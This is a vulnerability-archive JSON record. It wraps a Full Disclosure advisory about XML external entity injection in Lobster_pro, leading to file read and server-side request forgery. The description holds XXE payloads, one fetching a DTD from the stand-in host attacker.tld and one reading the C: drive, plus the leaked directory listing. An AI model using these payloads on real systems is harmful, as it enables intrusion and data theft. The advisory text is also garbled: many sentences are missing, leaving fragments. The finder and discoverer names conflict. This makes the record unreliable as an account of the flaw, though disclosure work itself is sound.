GCVE-1988-2026-0250

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-005 Arbitrary File",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nLobster_pro\n============================================================================================\n\n\narbitrary services.\n\nMetadata\n========\n\n- - Affected product: Lobster_pro\n- - Affected version: versions prior to 4.12.6-GA\n- - Vendor: Lobster DATA GmbH\n\n- - CVE ID: CVE-2024-13971\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971\n- - CVSS 4.0 score: 7.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/\n\nDetails\n=======\n\n\npart of the customer's internet-facing assets.\n\n\napplication:\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE lbsterq [\n         <!ENTITY % lobster SYSTEM \"http://attacker.tld/map.dtd\";>\n%lobster;\n]>\n<properties>lobster</properties>\n\n\nlistings or HTTP responses via the error message returned by the endpoint:\n\n<!ENTITY % cfga SYSTEM \"file:///c:\">\n<!ENTITY % eea \"<!ENTITY &#x25; lobsterdata SYSTEM '#%cfga;'>\">\n%eea;\n%lobsterdata;\n\n\nlisting:\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<core:ErrorResponse xmlns:core=\"CORESYSTEM\">\n   <errorInfo>\n      <errorCode>500</errorCode>\n      <httpResponseStatus>200</httpResponseStatus>\n      <locale>en</locale>\n      <errorText>javax.xml.bind.UnmarshalException\n - with linked exception:\n\nException Description: An error occurred unmarshalling the document&#xd;\n\nMessage: no protocol: #$Recycle.Bin\nConfig.Msi\n[...]\npagefile.sys\nPerfLogs\nProgramData\nProgram Files\nProgram Files (x86)\nProgramme\n[...]\ntemp\nUsers\nWindows\n]</errorText>\n      <errorType>java.io.IOException</errorType>\n      <errorLevel>1</errorLevel>\n   </errorInfo>\n</core:ErrorResponse>\n\n\nrecursive entity declarations, thus preventing data exfiltration.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to Lobster_pro release 4.12.6-GA or higher.\n\nTimeline\n========\n\n- - 2024-08-12 Initial contact with vendor\n- - 2024-08-14 Vulnerability reported to vendor\n- - 2024-08-14 CVE ID requested\n- - 2024-08-22 Initial feedback received from vendor: unable to reproduce\n- - 2024-08-28 Vulnerability demonstrated in vendor's \"Community server\"\n\n- - 2025-07-03 Reserved CVE ID CVE-2024-13971\n- - 2026-04-30 Advisory released\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnzRmsaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsvxRAAkVaWMk/lJwfZi0Y0OWpr\n5TQP/YCieTkxpkdiY0PF8dGApB3cp8ysschRAUgWIbeR7f1cj/4hbc3a1GxnZWV7\n2gk1fdQieSdkJs8uBsKz0CeEasMztCI6KcmxWL+CMFHJoH+Q5Gd7MdOh1Og/zVgh\n/UAAfzxihL0Gmx+gl6hpZVYSmqQctD4ogbmdQCU2mEuoHZRGLCzaiOtS8AZbOhvT\n3IvC3ws3cQIAwzD7YH+5V+97cXqbFVnRoNL4YgJ9/pCHXinYZvL1JGL4Ob26/GvD\nQfYqUOgpDsfr9GTZVSZT3S8pUVomMW9+FOjhpcOkRICkJ8cEdLhW5CIoaxweEcwE\nPQSSC5QS5DIfVKgGo4lc0Oe9k3pT/dnH9iEfnV5hnq7+JgapQzqxNaf6BCZJX+ET\nvoIVVjyOYyP2Qzs4LSaArWxlcb0XR/DewW9qlvfnea4SfDkrG/hhRK3qBNrC83IR\nIXmBTbp32Sfoh2X1W/frL4BtvIXkDirgF+sttAjoQKN3wVttuKj1JaM/BQ/pDf/N\npPAwaYzuuuf2Wv3NiBKIgB5tHuHKAQoKQPev7Z6pvDq0sB5ps9SRknIOEmfh/aoE\n7aNztVHs+/6axCVKcuV7+qWv6HUwg4oDp78Lo9r8Oq/9rdbZ3TKtf/KWn4uT+sWw\nZk6o928sfQFlkXtTXRiGSwE=\n=560Z\n-----END PGP SIGNATURE-----\n\n--\nSCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGeschäftsführer / Managing Directors:\nJakob Pietzka, Michael Schäfer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/1"
        },
        {
          "url": "http://attacker.tld/map.dtd\""
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-13971"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2024-13971",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0250",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/1",
            "automated": true,
            "contentSha256": "fc38ab23c295c56af6054273dcc64d0b83024cfc3c045cc75fca20b073d6c0b3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-30T12:12:33Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0250"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}